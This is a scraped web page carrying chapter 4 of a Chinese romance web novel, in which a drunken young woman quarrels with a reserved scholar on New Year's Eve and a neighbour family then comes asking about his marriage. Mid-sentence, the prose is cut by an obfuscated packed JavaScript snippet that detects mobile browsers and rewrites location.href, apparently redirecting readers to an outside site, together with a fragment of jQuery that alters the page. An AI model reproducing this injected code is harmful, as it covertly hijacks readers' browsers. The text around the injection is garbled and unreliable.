4. 除夕夜

作品:《始乱终弃了清冷书生后

    除夕夜,夜色渐浓。


    饭席用过后,秦知夷就回北侧屋了。


    随意洗漱过后,她醉意中带了点清醒,整个人懒懒地靠在小书房的竹椅上。


    西侧屋的炕通着灶房,不需另外生火,秦知夷面前放着的是刚从西侧屋挪来的炭,但也快烧没了。


    此刻,她等着蔺九均忙完来北侧屋热炕。


    蔺九均收拾了碗筷,又放完了年夜饭后要燃的一挂爆竹后,便进了北侧屋,他很快就把炕烧好了。


    蔺九均起身唤了几声宋姑娘,书房里也没动静。


    他进了隔间一看,暖黄的烛光下,人好像已经睡得迷迷糊糊。


    秦知夷说不上是睡着了。


    因为屋外家家户户又开始燃爆竹,一声声的,吵人得很。


    醉酒又让她困得紧,虽听到有什么声音在喊她,但是眼皮睁不开,身子怎么也不听使唤。


    蔺九均这边走近了些说话,“炕热好了,宋姑娘去睡吧。”


    秦知夷仍旧没动静。


    突然不知是哪家的爆竹声响如惊雷一般,在稍微安静了些的夜里骤然来了这么一声,瞬间把秦知夷醉意、睡意都炸没了。


    是以秦知夷一睁眼,就看到离自己好近的一张清冷容色。


    因着醉意秦知夷有些管不住自己的嘴,脱口而出,“书生,你真好看。”


    蔺九均静默了几息,再次重复道,“炕热好了,宋姑娘去睡吧。”


    ……


    秦知夷没有搭理,只是就着朦胧的昏沉烛光,再次注意到蔺九均额角的伤口。


    今早她就看到了,但是两人嘴上功夫不对付,她懒得搭理蔺九均,就没有多问。


    现下不知道她的思绪神游到了哪里,也许是酒劲又上来了些,秦知夷指了指自己的额头,“你、你这儿怎么受伤了?”


    “起夜时摔了一跤。”蔺九均住了几日柴房,以为熟悉了,就摸黑起夜,结果柴房东西堆得多,还是绊了一跤。


    蔺九均简单解释了一句后,又说道,“姑娘可以去歇息了。”


    “哦。”秦知夷不错眼地盯着他,然后伸了手,语气中带了点命令的意思,“扶我过去。”


    蔺九均往后退了一步,木着张脸说道,“此举不妥。”


    ?


    不太清醒的秦知夷此刻便犟上了,“就要你!”


    这小半月里,她频频要个什么热水洗澡,蔺九均虽都一一给她备了,但在她嫌澡豆味难闻时。


    他说那便不要用澡豆,一日三趟的洗澡也能褪层皮下来了。


    这样拐着弯的说她,她虽气着,但也不好发作。


    再说穿衣吃饭的。


    明明也吃过他偶尔做的精细菜肴,她不过想要吃些好的,他也不做,只说她住的不是酒楼,是草屋。


    她气极了,说他收了银镯子也不愿做些她爱吃的东西。


    他却真的说,银镯子还没当掉,可还给她,他不日就去找辆马车送她去官府。


    是以她憋闷好久,就盼着外头事平,早些寄信去青州。


    屋里,二人还在僵持着。


    蔺九均眉头略微紧蹙,说道,“宋姑娘声音洪亮,看来意识还算清醒,快些进里间歇息才是。”


    秦知夷见蔺九均转身就要出门去,她勉强站起身来,使了些力气扑上去,拽住了他的胳膊。


    秦知夷向来顺风顺水,也少有人忤逆她。


    她此刻心中有恼意,却也只是说出了一番攻击力不大的话,“你这个满口酸夫子话的呆书生!”


    蔺九均扯着快要被秦知夷拽掉的衣裳,挣脱不开,说道,“宋姑娘,男女授受不亲。”


    虽然大夏民风没那么保守,但是蔺九均读书十几载,满脑袋装的都是知礼守节之事。


    秦知夷顶着红润的醉相,似是看出他有些惧她的。


    她玉色的手搭上他的胸口,一脸得意地说道,“已经碰了。”


    屋里突然安静下来,屋外已经没什么爆竹声了,只有星星点点的烟火声。


    蔺九均的身子在她的手搭上来的那刻,面色就不大好看。


    他没有多加思虑,直接伸手揽住她的肩膀,然后拦腰将她抱起,快走好几步,以迅雷不及掩耳之势将人丢到了床上。


    秦知夷惊恼地喊出一个音节,“你!”


    床铺是软的,所以并不疼,但是秦知夷被摔得有些懵。


    “宋姑娘日后还是少喝些酒。”蔺九均的嗓音冷冷清清,似乎没有一点情绪波动。


    秦知夷脸埋进被子里,憋了一口怒气,下了逐客令,“出去!”


    人虽是不高兴的,但声音因为睡意和醉意显得软软的。


    翌日天光,正月初一,溪水村四处可见红火的年节氛围。


    正月里最热闹的就是新岁贺喜了,村子里的男丁们带着孩子踩着积雪、迎着寒风,从早上起就出入邻里,相互庆贺新年。


    柳乔还是小孩子心性,爱热闹,蔺九均就带着她出门拜年去了。柳阙在家中备了些茶水果子之类的,等候招待上门拜年的邻里。


    村子里或多或少都知道蔺九均被蔺家赶出来的事,就算不知道,也能揪着一点细枝末节编排出一本书来。


    闲话一传开,村里就没几户瞧得上蔺九均,还会时不时踩上一脚。


    拜年这事也没几个人会来蔺九均家,往年也是只有葛大叔、范大叔还有韦村长会来拜年。


    葛家夫妇和范大叔都是老实本分的庄户人,与葛家、范家是交好,才会相互走动。


    韦家其实也看不上蔺九均,但他们家是村长家,少不了要碍着面子在村子邻里的走动走动。


    韦村长是个老秀才,娶过两房妻子,家里三四个孩子,小儿子又在县里书塾念书,韦村长常说自己是‘书香世家’,平日里最爱摆架子。


    不多时,柳阙便招待完了人,就要洗洗碗盏,歇息下了。


    院子里突然吵吵闹闹的。


    是郑老汉,身后跟着的是他的小儿子郑文麟,他还带了大女儿郑秋锦来。


    也是怪得很,同他们家没什么交情。


    要是细说,可能还结了怨。


    郑家是松山庄里唯一一户会杀猪的,村里最大的院子就是他们家了。


    因此,郑大娘仗着家里有点本钱,从来都是村里嘴巴最碎的那一个,没有一家能逃得过她的编排,包括蔺九均家。


    郑大娘小了郑老汉二十来岁,生了两个女儿才盼来了一个儿子,平日最爱捧着郑秋锦四处炫耀。


    柳阙在院里瞧见郑秋锦也跟在后头,心里咯噔了一下。


    两三年前,郑秋锦刚及笄那会,郑大娘成日上门来柳阙跟前说,她家女儿又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14482299|154455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是会洗衣做饭,又是会缝衣绣花的,屋里大小活都抢着做,从不让她动一点手。


    诸如此类,生怕柳阙不知道她女儿的贤惠和能干。


    后来,不知道蔺九均同郑家人说了什么,他们便再也没上门来了。


    这会,身材矮胖的郑老汉进了西侧屋,四下打量了一圈。


    然后他往座上一坐,满嘴黄牙,张口就是,“这也没几户能走动的,蔺九均还没回来?”


    言下之意便是,没几户人家来蔺九均家,也没几户人家愿意蔺九均上门去。


    郑老汉的尖酸刻薄比之郑大娘,过犹不及。


    柳阙忽略了那句带刺的话,客气地问道,“郑大哥是有什么事么?”


    郑老汉转了转眼珠子,斜睨着眼前这个风韵犹存的女人。


    随即,他又装出一副不在意的模样,问道,“县里那边最近还找过你家没?”


    柳阙闻言,瞬间冷了脸,她自然知道对方问的是县里蔺家。


    郑秋锦心细,看出柳阙不大高兴了。


    她推了推郑老汉,对柳阙扬起一张笑脸,说道,“柳姨勿怪,我爹说话直,就是关心一下。”


    听郑秋锦这么打圆场,柳阙的面色也缓和了些,但语气还是有些生硬,“可有别的事?”


    郑秋锦看了一眼郑老汉,才微微红了脸,开口道,“也没什么事,我娘最近在给人说亲,有个合适的姑娘想让阿均哥哥相看一番。就是不知阿均哥哥从前在县里时,家里有没有给他定过亲。”


    蔺九均虽然无父无母的,家里又穷,但他会读书,是个有才的书生,模样生得又好。


    蔺家虽将人赶了出来,但也未将他从族谱上除名,日后到底有他一份家产。


    是以,郑秋锦想嫁给蔺九均好些年了。


    但郑大娘明里暗里的和蔺九均提过许多次,都被蔺九均三言两语给挡了回来。


    好些天前,郑秋锦看见蔺九均从葛大娘家抱着被褥出来,后来她暗暗打听了一番,才知道蔺九均家来了个亲戚,还是个年轻貌美的姑娘!


    郑秋锦本就寻思是不是蔺家给蔺九均定过什么亲,他才一直不同意。


    得知他家那突然来的亲戚,她这才着急忙慌地拐着弯来打听。


    柳阙听了郑秋锦的话,面色有些难看起来。


    蔺九均过了年就二十了,也确实该给他说亲了,别的男子在他这样的年纪,孩子都遍地跑了。


    先不说郑家就不是个和善的门户,柳阙就是再忧心蔺九均的婚事,也不敢做他的主。


    柳阙并不是蔺九均的亲姨妈,而是早逝蔺母身边的一个侍女,她先前受蔺母恩惠,早早的就被府里放出去嫁人了。


    后来柳阙丈夫亡故,夫家人侵占她亡夫遗产。


    柳阙本想带着两岁的女儿回老家并州,突然得知十二岁的蔺九均被蔺家赶了出来。


    柳阙念着蔺母对她的恩情,带着女儿硬是守了蔺九均三四年。


    等到蔺九均年纪大一些的时候,他让柳阙回并州,不必管他,他已经能在书塾代课抄书,赚点银子过活了。


    那时,柳阙的母亲忽然病了,她无暇顾及,就回并州待了四年,但逢年过节,柳阙都会带着柳乔来颍州探望蔺九均。


    柳阙正不知怎么拒绝。


    院里传来声响,似又是有人来了。